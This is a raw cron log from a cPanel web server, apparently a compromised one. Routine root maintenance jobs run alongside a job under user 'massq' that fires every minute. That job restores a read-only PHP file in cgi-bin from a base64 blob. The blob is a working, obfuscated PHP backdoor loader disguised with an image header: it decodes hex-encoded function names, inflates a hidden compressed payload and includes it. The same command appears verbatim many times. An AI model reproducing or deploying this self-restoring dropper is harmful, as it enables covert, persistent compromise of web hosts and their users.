Sep  3 00:42:01 server CROND[7419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:43:01 server CROND[7789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:43:01 server CROND[7790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:43:01 server CROND[7792]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:44:01 server CROND[8154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:44:01 server CROND[8155]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:44:01 server CROND[8157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:45:01 server CROND[8636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:45:01 server CROND[8638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 00:45:01 server CROND[8639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:45:01 server CROND[8640]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 00:45:01 server CROND[8641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:45:01 server CROND[8642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:45:01 server CROND[8643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:46:01 server CROND[9462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:46:01 server CROND[9463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:46:01 server CROND[9464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:47:01 server CROND[9839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:47:01 server CROND[9840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:47:01 server CROND[9841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:48:01 server CROND[10225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:48:01 server CROND[10226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:48:01 server CROND[10227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:49:01 server CROND[10625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:49:01 server CROND[10626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:49:01 server CROND[10627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:50:01 server CROND[11207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:50:01 server CROND[11210]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 00:50:01 server CROND[11209]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 00:50:01 server CROND[11214]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 00:50:01 server CROND[11213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:50:01 server CROND[11215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:50:01 server CROND[11216]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 00:50:01 server CROND[11212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:50:01 server CROND[11211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:51:01 server CROND[12108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:51:01 server CROND[12109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:51:01 server CROND[12110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:52:01 server CROND[12508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:52:01 server CROND[12509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:52:01 server CROND[12510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:53:01 server CROND[13025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:53:01 server CROND[13026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:53:01 server CROND[13027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:54:01 server CROND[13408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:54:01 server CROND[13409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 00:54:01 server CROND[13410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:55:01 server CROND[13894]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 00:55:01 server CROND[13896]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:55:01 server CROND[13897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:55:01 server CROND[13898]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
